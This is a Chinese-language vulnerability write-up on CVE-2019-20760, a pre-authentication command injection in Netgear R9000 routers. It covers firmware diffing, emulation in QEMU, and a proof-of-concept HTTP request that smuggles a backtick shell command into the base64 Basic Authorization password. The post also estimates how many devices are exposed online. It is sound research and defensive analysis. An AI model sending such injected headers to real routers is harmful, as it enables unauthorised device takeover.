CVE-2019-20760 : Netgear認證前漏洞分析

2021-02-13 邑安全
概述

Netgear R9000設備2019年爆出認證繞過漏洞CVE-2019-20760,題目之所以說這個漏洞遠被低估,主要以下兩個原因:

實際漏洞危害較大,公開信息僅顯示該漏洞為一個認證繞過漏洞,沒有具體漏洞信息或者POC,但是經過分析,發現該漏洞其實是一個認證前的注入漏洞,攻擊者只需要知道設備ip便可以獲取設備的最高控制權

影響範圍廣,另外在測試中發現R7800的1.0.2.62版本;R7500的1.0.3.46版本等也受此漏洞影響,簡單推測影響範圍應該還有其它多款系列型號;

影響數量大,據fofa檢索,暴露在公網的設備中R9000數量大概有5000臺,R7800大概有15000臺,而且還不算其它可能受影響的型號數量,而且由於官方信息只是說明為認證繞過漏洞,猜測也並沒有引起廣泛注意而更新固件。

由於該漏洞公告只有大概信息,下文記錄針對R9000型號的該漏洞分析定位調試的過程。

漏洞點分析

根據漏洞公告信息,Netgear R9000設備1.0.4.26版本前存在認證繞過漏洞,但是並沒有詳細說明漏洞點位置,嘗試根據公告信息結合二進位比對查找漏洞點。

固件下載及解析

通過以下地址可以下載存在漏洞版本固件以及修復版本固件

漏洞版本固件下載連結https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip修復版本固件下載連結https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip

兩固件均通過binwalk可常規解壓獲得文件系統

查找web處理程序

通過查找Referer字符串來確定一下web處理程序

$ grep -r "Referer"
Binary file usr/bin/curl matches
Binary file usr/sbin/wget matches
Binary file usr/sbin/uhttpd matches
Binary file usr/lib/libcurl.so.4.3.0 matches
Binary file bin/fbwifi matches
Binary file bin/ookla matches
Binary file iQoS/R9000/TM/data_colld matches
Binary file iQoS/R8900/TM/data_colld matches

通過命名即可判斷web處理的二進位應該是uhttpd

二進位比對

使用diaphora來進行二進位比對操作。

diaphora使用非常簡單,首先使用IDA打開漏洞版本1.04.26版本文件系統中的uhttpd,選擇File--Script file...--diaphora.py,在彈出框中點擊OK,然後再使用IDA打開修復版本1.04.28版本文件系統中的uhttpd,同樣方法打開diaphora,在彈出框中的SQLite database to diff against中選擇1.04.26版本的uhttpd生成的sqlite文件,再點擊OK即可開始比對,稍等片刻,便會出現比對結果。

可以查看Partial matches,其中login_type函數進入後除了命名沒有太多改變,所以主要查看uh_cgi_auth_check,選中這個函數後點擊右鍵——Diff Pseudo-code,可以在反編譯代碼的層面上查看差異點,左邊是修復版本,右邊是漏洞版本:

可以看出修復版本使用了dni_system,而漏洞版本snprintf後直接傳入system執行,猜測漏洞點位於此處。

嘗試使用IDA打開漏洞版本的uhttpd的uh_cgi_auth_check函數:

直觀審計起來不是很好看,包括函數的參數是什麼也都不太清楚,這裡採用一個比較懶的方法,我嘗試找到了對應的源碼:

源碼下載地址https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.5.24.zip

源碼對應位置並沒有相應的system函數,猜測是官方故意做了一些隱藏,但是可以藉由源碼恢復出來很多結構信息。

具體操作可以參考cve-2018-5767 Tenda AC15 棧溢出漏洞調試比較簡單,這裡不再贅述。

定位漏洞點

在漏洞版本中,恢復完符號表以後可以清楚的看出,數據包頭中的Authorization中Basic後數據經過base64解碼後,其中:後邊的password參數會被傳入snprintf,然後調用system來執行,造成漏洞。

前文已經說明,在修復版本中,沒有直接調用system,換成了dni_system,查看一下dni_system;

可以看出,dni_system採用了execve來執行命令,只有參數可控,是無法做到RCE之類的危害的。

漏洞復現web模擬

查看etc/init.d/uhttpd

cat ./etc/init.d/uhttpd
.
start() {
#config_load uhttpd
#config_foreach start_instance uhttpd

#mkdir /tmp/www
#cp -rf /usr/www/* /tmp/www

/www/cgi-bin/uhttpd.sh start
inetd
detplc
#for bug58012
touch /tmp/fwcheck_status
}

可以看到啟動uhttpd使用了/www/cgi-bin/uhttpd.sh這個腳本

查看這個腳本:

╰─$ cat ./www/cgi-bin/uhttpd.sh
#!/bin/sh

REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"


uhttpd_stop()
{
kill -9 $(pidof uhttpd)
}

uhttpd_start()
{
$UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}

case "$1" in
stop)
uhttpd_stop
;;
start)
uhttpd_start
;;
restart)
uhttpd_stop
uhttpd_start
;;
*)
logger -- "usage: $0 start|stop|restart"
;;
esac

其中-C /etc/uhttpd.crt -K /etc/uhttpd.key -s我們都可以省略掉,忽略https即可,REALM參數可以直接獲得:

$ cat ./module_name 130 ↵
R9000

然後即可獲得uhttpd的啟動命令:

/usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80

使用file查看指令架構:

$ file ./bin/busybox
./bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header

使用qemu-system打開armhf虛擬機,此步驟在IOT環境搭建–如何使用qemu運行各種指令架構程序中有詳細步驟,此處不再贅述

將文件系統拷貝進armhf虛擬機中,運行以下命令:

chroot . /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80

沒有報錯,查看埠情況:

$ netstat -antp | grep uhttpd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2425/uhttpd
tcp6 0 0 :::80 :::* LISTEN 2425/uhttpd

可以看到80埠已經啟動起來了,模擬成功

構造攻擊數據包

在瀏覽器中訪問http://<device_ip>/cgi-bin/,可以彈出登錄框:

使用admin@admin帳戶登陸抓包如下:

GET /cgi-bin/ HTTP/1.1
Host: <your ip>
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

嘗試構造POC,

$ echo 'admin:`touch /abcd`' | base64
YWRtaW46YHRvdWNoIC9hYmNkYAo=

構造數據包

GET /cgi-bin/ HTTP/1.1
Host: <Your IP>
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YHRvdWNoIC9hYmNkYAo=
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

發送數據包後查看文件系統

root@debian-armhf:~/squashfs-root# ls
abcd bin cloud_version default_language_version dev etc firmware_region firmware_time firmware_version hardware_version home hw_id iQoS lib mnt module_name overlay proc rom root sbin sys tmp usr var www

可以發現abcd這個文件已經被創建,攻擊成功。

總結

本漏洞NVD的評分是8.8,然而對於這種認證前的RCE漏洞,個人認為評分是低了,知道設備的ip信息,便可以獲取該設備最高控制權,該漏洞危害性還是比較大的。而且在測試中,發現該漏洞影響的設備型號也並不止R9000這一款。

IoT漏洞分析中,認證流程分析是必不可少的一環,直接在認證過程中就將用戶輸入沒有做任何校驗直接傳入system,漏洞還是很明顯也比較簡單。

另外,通過二進位比對方法來找1day漏洞,也是一種比較簡潔取巧的方法。

原文來自: 先知社區

原文連結: https://xz.aliyun.com/t/9125

歡迎掃描關注我們,及時了解最新安全動態、學習最潮流的安全姿勢!

相關焦點

  • Netgear R6220 認證繞過漏洞分析
    /zdi等平臺發布的漏洞信息,藉助補丁對比技術,對Netgear r6220認證繞過漏洞進行研究,涉及漏洞的發現過程、成因分析、POC編寫。1、漏洞描述:https://cve.mitre.org/cgi-bin/cvename.cgi?
  • 漏洞分析|CVE-2019-0708遠程桌面高危漏洞分析
    微軟發布了最新的安全公告,修復了Windows遠程桌面服務的遠程代碼執行漏洞,該漏洞會影響大部分舊版本的windows系統,漏洞編號:CVE-2019-0708。漏洞分析CVE-2019-0708遠程桌面執行漏洞存在於遠程桌面服務(RDP)預身份驗證中,並且不需要用戶交互就可以實現RCE,這是一個類似於Wannacry
  • CVE-2019-0708 漏洞分析及相關測試
    漏洞背景CVE-2019-0708 | 遠程桌面服務遠程執行代碼漏洞安全漏洞發布時間: 2019-05-14MITRE CVE-2019-0708當未經身份驗證的攻擊者使用 RDP 連接到目標系統並發送經特殊設計的請求時,遠程桌面服務(以前稱為「終端服務」)中存在遠程執行代碼漏洞。此漏洞是預身份驗證,無需用戶交互。
  • Netgear R6400 upnp棧溢出漏洞分析
    固件由netgear header(0x3A字節) +TRX header(0x1c字節)+linux kernel+squashfs文件系統構成。2.1.1 netgear header前0x3A字節是netgear自帶的header,由於從netgear的開源軟體中找到了打包軟體,所以並未對其過多分析,但是可以較明顯地看出包含版本號,文件大小,校驗碼等信息。
  • 【獨家】K8S漏洞報告|近期多個CVE漏洞解讀
    安全漏洞CVE-2019-11247/ CVE-2019-11248/ CVE-2019-11249分析Kubernetes v1.15+ Bug Fix數據分析安全漏洞CVE-2019-11247/ CVE-2019-11248/ CVE-2019-11249分析近期Kubernetes社區通過Google
  • 漏洞分析 | CVE-2019-11043
    請先瀏覽該CVE系列前文。漏洞分析期間採用的請求包為:GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?HTTP/1.1Host: 192.168.3.68User-Agent: Mozilla/5.0D-Pisos: 8========================================================================================================================
  • Windows本地提權漏洞分析(CVE-2019-1405及CVE-2019-1322)
    在本文中,我們將討論NCC Group在分析COM本地服務時找到的兩個漏洞。
  • Netgear路由器曝出嚴重漏洞,影響79種不同型號設備
    來自GRIMM的安全研究人員Adam Nichols和來自越南網際網路服務提供商VNPT 的研究人員d4rkn3ss分析報告了一個影響
  • CVE-2019-5786 漏洞原理分析及利用
    -5786漏洞的資料:High CVE-2019-5786: Use-after-free in FileReader[1],得知是FileReader上的UAF漏洞。由於這個漏洞機制的原因,可能不是每次都能執行成功,但是我們可以通過多次加載腳本的方式來達到穩定利用的目的。
  • 【漏洞預警】CVE-2019-0708微軟遠程桌面服務遠程代碼執行漏洞(BlueKeep)復現
    ,其作業系統遠程桌面(Remote Desktop Services),俗稱的3389服務存在嚴重安全漏洞(編號CVE-2019-0708):攻擊者在沒有任何授權的情況下,可以遠程直接攻擊作業系統開放的3389服務,在受害主機上執行惡意攻擊行為,包括安裝後門,查看、篡改隱私數據,創建擁有完全用戶權限的新帳戶,影響範圍從Windows XP到Windows 2008 R2。
  • 不斷發酵的windows RDP遠程代碼執行漏洞CVE-2019-0708
    時間事件連結2019年5月14日微軟官方發布安全補丁https://blogs.technet.microsoft.com/msrc/2019/05/14/prevent-a-worm-by-updating-remote-desktop-services-cve-2019-0708/2019年5月15日
  • Netgear無線路由器密碼洩漏漏洞數據分析報告
    2016年6月24日,國家信息安全漏洞共享平臺(CNVD)發布了針對Netgear D6000和D3600系列無線路由器設備的密碼洩漏漏洞,該漏洞存在於使用1.0.0.49及更早版本固件的Netgear D6000和D3600系列無線路由器中。2016年6月27日,經美國網件公司官方確認,旗下幾乎所有的路由器都存在能洩漏登錄管理界面密碼的漏洞,R系列為重災區。
  • 復現影響79款Netgear路由器高危漏洞
    0x0 前言來自GRIMM的安全研究人員Adam Nichols和來自越南網際網路服務提供商VNPT 的研究人員d4rkn3ss分析報告了一個影響Netgear路由器的嚴重的棧緩存溢出遠程代碼執行漏洞,漏洞CVSS 評分為8.8分,漏洞影響79種不同型號的Netgear路由器的758種固件版本,受影響的固件中最早的版本是2007年發布的。
  • 網件(Netgear)路由器被曝嚴重的DNS漏洞
    =======近日,網件(Netgear)路由器被發現存在嚴重的DNS漏洞,目前,網件還未修補該已公布的漏洞,該允許攻擊者篡改受影響的路由器的DNS設置,會影響其路由器的安全性,預估超過10,000臺路由器已經遭受攻擊。
  • MikroTik-RouterOS 相關漏洞 CVE-2019-13954 分析
    認證的用戶通過構造並發送一個特殊的POST請求,服務程序在處理POST請求時會陷入"死"循環,造成memory exhaustion,導致對應的服務程序崩潰或者系統重啟。該漏洞與CVE-2018-1157類似,是由於對漏洞CVE-2018-1157的修復不完善造成。
  • 關於這些年來Windows遠程代碼執行漏洞CVE
    CVE-2019-0708  CVE-2019-0708漏洞是通過檢查用戶的身份認證,導致可以繞過認證,不用任何的交互,直接通過rdp協議進行連接發送惡意代碼執行命令到伺服器中去。如果被攻擊者利用,會導致伺服器入侵,中病毒,像WannaCry 永恆之藍漏洞一樣大規模的感染。
  • Windows再現「永恆之藍」級漏洞--CVE-2019-0708
    5月15日,微軟發布安全補丁修復了CVE編號為CVE-2019-0708的Windows遠程桌面服務(RDP)遠程代碼執行漏洞,該漏洞在不需身份認證的情況下即可遠程觸發
  • 【漏洞分析】NVIDIA任意文件寫入命令執行(CVE-2019-5674)
    漏洞介紹本文將對NVIDIA GeForce Experience(GFE)中的任意文件寫入漏洞(CVE-2019-5674)進行深入分析。
  • Windows遠程桌面服務代碼執行高危漏洞(CVE-2019-0708)預警
    微軟MSRC於2019年5月14日的公布的安全補丁中,修復了一個遠程桌面服務代碼執行漏洞(CVE-2019-0708)。正常情況下,計算機遠程管理登錄,需要用戶進行身份認證,但是CVE-2019-0708漏洞存在於預認證階段(pre-authentication),成功的漏洞利用可以達到繞過認證,遠程執行任意代碼的攻擊效果。目前針對該漏洞的攻擊詳情和利用代碼暫未公開。
  • OpenBSD多個嚴重認證繞過漏洞
    近期Qualys安全研究人員在OpenBSD中發現了多個高危安全漏洞,CVE編號為CVE-2019-19521,CVE-2019-19520,CVE-2019-19522,CVE-2019-19519。這4個漏洞分別是認證繞過和本地權限提升漏洞。